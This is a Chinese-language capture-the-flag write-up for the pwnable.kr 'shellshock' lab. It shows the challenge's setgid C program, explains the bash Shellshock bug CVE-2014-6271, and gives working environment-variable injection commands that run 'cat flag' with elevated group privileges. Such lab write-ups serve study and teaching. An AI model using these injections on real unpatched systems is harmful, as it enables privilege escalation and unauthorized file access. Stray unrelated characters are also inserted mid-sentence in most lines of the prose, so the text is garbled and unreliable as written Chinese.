0x0A shellshock
題目描述
Mommy, there was a shocking news about bash.
I bet you already know, but lets just make it sure :)
ssh shellshock@pwnable.kr -p2222 (pw:guest)
題目代碼
#include <stdio.h>
int main(){
setresuid(getegid(), getegid(), getegid());
setresgid(getegid(), getegid(), getegid());
system("/home/shellshock/bash -c 'echo shock_me'");
return 0;
}
題目分析
本題主要考察的是破殼漏洞(shellshock)CVE-2014-6271
所以第一步髓介,查閱CVE-2014-6271的資料,http://blog.csdn.net/tinyletero/article/details/40261593
所以該漏洞的利用方式就是
env x=() { :;}; echo vulnerable
在echo vulnerable處可以執(zhí)行任意代碼惕鼓,所以就想在那里執(zhí)行cat flag不久可以讀出flag了么,那么運行一下命令
env x='() { :;}; ' bash -c "cat flag"
咦唐础?發(fā)現(xiàn)說沒有權(quán)限執(zhí)行箱歧,那么看一下權(quán)限
發(fā)現(xiàn)flag是屬于用戶shellshock_pwn的矾飞,bash是屬于shellshock的
而我們看一下我們是哪個用戶
發(fā)現(xiàn)是shellshock用戶,所以我們沒有權(quán)限查看shellshock_pwn用戶的文件呀邢,那怎么辦呢洒沦?既然出了這題,就肯定有解決的辦法价淌,仔細(xì)觀察這個權(quán)限詳情申眼,發(fā)現(xiàn)了高亮部分的權(quán)限是-r-xr-sr-x,其中用戶組有一個s
查閱一下有關(guān)uid蝉衣,sid的知識http://www.cnblogs.com/snake-hand/p/3161511.html
發(fā)現(xiàn)括尸,當(dāng)我們執(zhí)行shellshock的時候,權(quán)限會會提升到shellshock_pwn病毡,而flag剛好需要shellshock_pwn的權(quán)限濒翻,所以更改一下命令
env x='() { :;}; bash -c "cat flag" ' ./shellshock
得到flag